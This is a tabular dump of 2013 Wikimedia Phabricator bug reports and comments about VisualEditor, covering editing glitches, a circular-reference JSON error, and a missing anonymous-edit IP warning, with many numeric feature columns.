223653,"VisualEditor: Selecting text and hitting Function keys, PageUp/Down, End/Insert deletes the selected text in Firefox",Whoops. :-),,,1367545406,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kcoehi5bluofxq2bsd4i,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,Whoops. :-)
50006,VisualEditor: VE sometimes posting to the wrong API when serializing wikitext?,"See Parsoid bug 47998.

--------------------------
**Version**: unspecified
**Severity**: critical",Unbreak Now!,100.0,1367509980,1368216302.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,False,PHID-TASK-5wvor46u2dd3dffehhqn,task_description,invalid,True,c1,1,True,False,True,-9,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.043478260869565,0.6086956521739131,"See Parsoid bug 47998.

--------------------------
**Version**: unspecified
**Severity**: critical"
222734,VisualEditor: VE sometimes posting to the wrong API when serializing wikitext?,"As far as we can tell, this isn't reproducible in live, so I'm marking as INVALID; happy to re-open if we see this happen in the wild.",,,1368216302,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5wvor46u2dd3dffehhqn,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,0.0,3.0,11.0,3.0,0.0,0.0,3.0,14.0,6.0,0.0,0.0,0.0,9.0,0.0,11.0,20.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,9.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,9.0,20.0,3.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.085714285714286,0.8571428571428571,"As far as we can tell, this isn't reproducible in live, so I'm marking as INVALID; happy to re-open if we see this happen in the wild."
222729,VisualEditor: VE sometimes posting to the wrong API when serializing wikitext?,"Argh, a mess - Roan, could you investigate?",,,1367510099,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5wvor46u2dd3dffehhqn,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,18.0,9.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.272727272727273,0.9090909090909091,"Argh, a mess - Roan, could you investigate?"
49948,VisualEditor: JSON.stringify won't work if data contains DOM elements,"Steps to reproduce problem:
1. Edit https://www.mediawiki.org/wiki/Git/Commit_message_guidelines in VisualEditor
2. Add some text
3. ""Review and save""
4. ""Something is wrong""
5. ""Report problem""

Expected behaviour:
Make an http request somewhere and report back in the UI.

Actual behaviour:
No http request is made and UI is unresponsive.

console:
> Uncaught TypeError: Converting circular structure to JSON
> at:
> > mw.Target.prototype.reportProblem = function(message) {
> > var ...., report = { title: .., oldid: .., .. };
> > $.post(mw.config.get('wgVisualEditorConfig').reportProblemURL, {'data': JSON.stringify(report)}, function() {

debug:

var objs = [];
JSON.stringify(a, function (k, v) {
  var i;
  if (v === Object(v)) {
    i = objs.indexOf(v);
    if (i !== -1) {
      console.log('dupe at #' + i, v);
    }
    objs.push(v);
  }
  return v;
});
dupe at #66 
<p data-parsoid=​""{""dsr"":​[0,139,0,0]​}​"">​
""The ""
<b data-parsoid=​""{""tsr"":​[4,7]​,""dsr"":​[4,24,3,3]​}​"">​commit message​</b>​
"" play an important role in revision control systems. They are the first thing other people will see of your commit.""
</p>​

--------------------------
**Version**: unspecified
**Severity**: critical",Unbreak Now!,100.0,1367434260,1368038305.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-dt7csod4a2evm53mkmur,task_description,resolved,True,c1,1,True,False,True,-9,,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,3.0,1.0,0.0,0.0,0.6666666666666666,1.0,0.3333333333333333,0.0,0.0,0.0,1.3333333333333333,0.0,0.6666666666666666,3.3333333333333335,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,2.3333333333333335,0.6666666666666666,0.0,1.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,1.6666666666666667,0.0,0.6666666666666666,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.3333333333333333,8.666666666666666,0.6666666666666666,1.3333333333333333,2.6666666666666665,0.0,0.0,0.3333333333333333,0.6666666666666666,3.3333333333333335,0.0,1.6666666666666667,0.0,2.0,3.3333333333333335,5.666666666666667,0.0,4.0,0.0,2.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,3.6666666666666665,3.4270729270729263,0.5646020646020645,"Steps to reproduce problem:
1. Edit URL in VisualEditor
2. Add some text
3. ""Review and save""
4. ""Something is wrong""
5. ""Report problem""

Expected behaviour:
Make an http request somewhere and report back in the UI.

Actual behaviour:
No http request is made and UI is unresponsive.

console:
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

debug:

var objs = [];
JSON.stringify(a, function (k, v) {
  var i;
  if (v === Object(v)) {
    i = objs.indexOf(v);
    if (i !== -1) {
      console.log('dupe at #' + i, v);
    }
    objs.push(v);
  }
  return v;
});
dupe at #66 
<p data-parsoid=​""{""dsr"":​[0,139,0,0]​}​"">​
""The ""
<b data-parsoid=​""{""tsr"":​[4,7]​,""dsr"":​[4,24,3,3]​}​"">​commit message​</b>​
"" play an important role in revision control systems. They are the first thing other people will see of your commit.""
</p>​

--------------------------
**Version**: unspecified
**Severity**: critical"
219213,VisualEditor: JSON.stringify won't work if data contains DOM elements,Fixed in master.,,,1368038305,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dt7csod4a2evm53mkmur,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,Fixed in master.
219205,VisualEditor: JSON.stringify won't work if data contains DOM elements,"Ah, because native DOM element objects have all kinds of ""convenience"" pointers like ""firstChild"", ""children"", ""nextSibling"", ""paretNode"", ""ownerDocument"", which all have the same as well, so its like a circular reference nightmare.",,,1368030444,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-dt7csod4a2evm53mkmur,task_subcomment,,True,c1,1,True,,,-8,,4.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,8.0,2.0,0.0,23.0,0.0,4.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.8653846153846154,0.6153846153846154,"Ah, because native DOM element objects have all kinds of ""convenience"" pointers like ""firstChild"", ""children"", ""nextSibling"", ""paretNode"", ""ownerDocument"", which all have the same as well, so its like a circular reference nightmare."
219196,VisualEditor: JSON.stringify won't work if data contains DOM elements,Related URL: https://gerrit.wikimedia.org/r/62811 (Gerrit Change Id807ccc6ff31d063be815ed4988cb35684adb76a),,,1368020696,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dt7csod4a2evm53mkmur,task_subcomment,,True,c1,1,False,,,-8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Id807ccc6ff31d063be815ed4988cb35684adb76a)
219189,VisualEditor: JSON.stringify won't work if data contains DOM elements,This is caused by the linear data now contain DOM elements in alien nodes (and other nodes that store original HTML). We will need to pre-process the data before serialising. We already do this in the unit tests so shouldn't be too difficult.,,,1368019429,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-dt7csod4a2evm53mkmur,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,2.0,2.0,10.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,4.0,2.0,10.0,10.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,2.0,0.0,12.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,4.0,10.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,4.0,10.0,4.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.9215686274509802,0.8431372549019608,This is caused by the linear data now contain DOM elements in alien nodes (and other nodes that store original HTML). We will need to pre-process the data before serialising. We already do this in the unit tests so shouldn't be too difficult.
219182,VisualEditor: JSON.stringify won't work if data contains DOM elements,"@Ed: I suspect the circular reference is coming from inside the data model. Can you look into this?

See ve.init.mw.Target.js, method #reportProblem.",,,1367860376,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-dt7csod4a2evm53mkmur,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,7.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,3.0,14.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,7.0,0.0,3.0,0.0,7.0,10.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.724137931034483,0.9310344827586207,"SCREEN_NAME: I suspect the circular reference is coming from inside the data model. Can you look into this?

See ve.init.mw.Target.js, method #reportProblem."
49842,VisualEditor: Message <anoneditwarning> should be displayed for anonymous users in the alerts box,"Currently we don't alert users that they're outing their IP when they save. This is a Bad Thing(tm).

--------------------------
**Version**: unspecified
**Severity**: critical",Unbreak Now!,100.0,1367266320,1367602898.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-5bkkyo5d2dquufftw2sz,task_description,resolved,True,c1,1,True,False,True,-9,,0.0,0.0,0.0,0.0,2.0,7.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,17.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.8292682926829267,0.7317073170731707,"Currently we don't alert users that they're outing their IP when they save. This is a Bad Thing(tm).

--------------------------
**Version**: unspecified
**Severity**: critical"
212912,VisualEditor: Message <anoneditwarning> should be displayed for anonymous users in the alerts box,I see - wan't looking at main namespace.,,,1367604012,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-5bkkyo5d2dquufftw2sz,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,3.6666666666666665,1.0,I see - wan't looking at main namespace.
212907,VisualEditor: Message <anoneditwarning> should be displayed for anonymous users in the alerts box,Merged and will go out with wmf4.,,,1367602898,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-5bkkyo5d2dquufftw2sz,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.375,1.0,Merged and will go out with wmf4.
212900,VisualEditor: Message <anoneditwarning> should be displayed for anonymous users in the alerts box,"(In reply to comment #4)
> mediawiki.org? I don't see it there.

Compare https://www.mediawiki.org/w/index.php?title=MediaWiki_1.21&action=edit with https://www.mediawiki.org/wiki/MediaWiki_1.21?veaction=edit in an isolated browser (e.g. Chrome Incognito).",,,1367599367,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-5bkkyo5d2dquufftw2sz,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,28.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,16.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.44,0.88,"(In reply to comment #4)
QUOTE

Compare URL with URL in an isolated browser (e.g. Chrome Incognito)."
212892,VisualEditor: Message <anoneditwarning> should be displayed for anonymous users in the alerts box,mediawiki.org? I don't see it there.,,,1367598917,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-5bkkyo5d2dquufftw2sz,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,22.0,0.0,0.0,11.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.4444444444444446,1.0,mediawiki.org? I don't see it there.
212884,VisualEditor: Message <anoneditwarning> should be displayed for anonymous users in the alerts box,"(In reply to comment #2)
> Currently the extension doesn't let anon editors use it at all (
> $skin->getUser()->getOption( 'visualeditor-enable' ) is required ), but I've
> put in a fix for when we do.

Except for mediawikiwiki, where it's forced on for everyone, logged in or out, regardless of preference. :-)",,,1367594947,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-5bkkyo5d2dquufftw2sz,task_subcomment,,True,c1,1,True,,,-9,,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,24.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,3.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,3.0,0.0,3.0,24.0,5.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5675675675675675,0.8108108108108109,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE

Except for mediawikiwiki, where it's forced on for everyone, logged in or out, regardless of preference. :-)"
212876,VisualEditor: Message <anoneditwarning> should be displayed for anonymous users in the alerts box,"Currently the extension doesn't let anon editors use it at all ( $skin->getUser()->getOption( 'visualeditor-enable' ) is required ), but I've put in a fix for when we do.",,,1367577948,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-5bkkyo5d2dquufftw2sz,task_subcomment,,True,c1,1,True,,,-9,,3.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,11.0,0.0,0.0,0.0,5.0,0.0,13.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,5.0,3.0,3.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,8.0,8.0,3.0,0.0,5.0,0.0,8.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.763157894736842,0.9210526315789473,"Currently the extension doesn't let anon editors use it at all ( $skin->getUser()->getOption( 'visualeditor-enable' ) is required ), but I've put in a fix for when we do."
212868,VisualEditor: Message <anoneditwarning> should be displayed for anonymous users in the alerts box,Related URL: https://gerrit.wikimedia.org/r/62143 (Gerrit Change Ib5c3284c646ebcc0a8cad0b02de559d7820e05a0),,,1367577674,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-5bkkyo5d2dquufftw2sz,task_subcomment,,True,c1,1,False,,,-9,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Ib5c3284c646ebcc0a8cad0b02de559d7820e05a0)
49817,VisualEditor: Editing lists results in PILE_OF_POO symbol ;),"1. Edit a page with an unordered list.

2. Delete all the text on the last line.

3. Press the <delete key>. The bullet should be erased.  Instead, it will
remain and the cursor will move to the end of the previous line.

4. down-arrow

5. down-arrow off of the empty line.

Turd appears in the empty line.

Very many arrow-key actions will produce the turd.

Firefox 20.0, linux.

--------------------------
**Version**: unspecified
**Severity**: normal",Unbreak Now!,100.0,1367217060,1367281446.0,PHID-USER-p6hvqn5njgnxuagekh4b,False,,False,PHID-TASK-dciqnjw7tyxyl2dkeuls,task_description,resolved,True,c1,1,True,False,True,-9,,1.5,0.0,1.0,0.5,0.0,7.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,6.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.5,0.0,0.0,1.0,0.0,1.5,0.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,10.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.5,6.5,0.0,0.5,7.5,0.0,0.0,0.0,0.0,4.0,0.0,1.5,0.0,0.5,6.0,2.5,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.5,3.2666666666666666,0.6416666666666666,"1. Edit a page with an unordered list.

2. Delete all the text on the last line.

3. Press the <delete key>. The bullet should be erased.  Instead, it will
remain and the cursor will move to the end of the previous line.

4. down-arrow

5. down-arrow off of the empty line.

Turd appears in the empty line.

Very many arrow-key actions will produce the turd.

Firefox 20.0, linux.

--------------------------
**Version**: unspecified
**Severity**: normal"
211245,VisualEditor: Editing lists results in PILE_OF_POO symbol ;),"Actually those are two separated issues. One is about turds appearing and the other one is about bullet not being erased. So in my previous comment I referred to the first issue, and second issue is something that I'm working on now (as a part of broader refactoring to handle deletion operations).",,,1367281537,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-dciqnjw7tyxyl2dkeuls,task_subcomment,,True,c1,1,False,,,-9,,0.0,2.0,0.0,2.0,2.0,8.0,2.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,5.0,2.0,8.0,12.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,8.0,8.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,5.0,2.0,0.0,0.0,4.186440677966102,0.8305084745762712,"Actually those are two separated issues. One is about turds appearing and the other one is about bullet not being erased. So in my previous comment I referred to the first issue, and second issue is something that I'm working on now (as a part of broader refactoring to handle deletion operations)."
211241,VisualEditor: Editing lists results in PILE_OF_POO symbol ;),I believe that this is fixed in master: https://gerrit.wikimedia.org/r/#/c/61055/,,,1367281446,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-dciqnjw7tyxyl2dkeuls,task_subcomment,,True,c1,1,False,,,-9,,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,I believe that this is fixed in master: URL
49737,VisualEditor: jQuery bug in regex matching causes corruption of data-parsoid on ingest,"jQuery have WONTFIX'ed this bug (13821) so we'll have to work around.

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
http://bugs.jquery.com/ticket/13821",Unbreak Now!,100.0,1366992360,1367097148.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-5bwy7gci6gdsa3r3m24i,task_description,resolved,True,c1,1,True,False,True,-10,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3181818181818183,0.6136363636363636,"jQuery have WONTFIX'ed this bug (13821) so we'll have to work around.

--------------------------
**Version**: unspecified
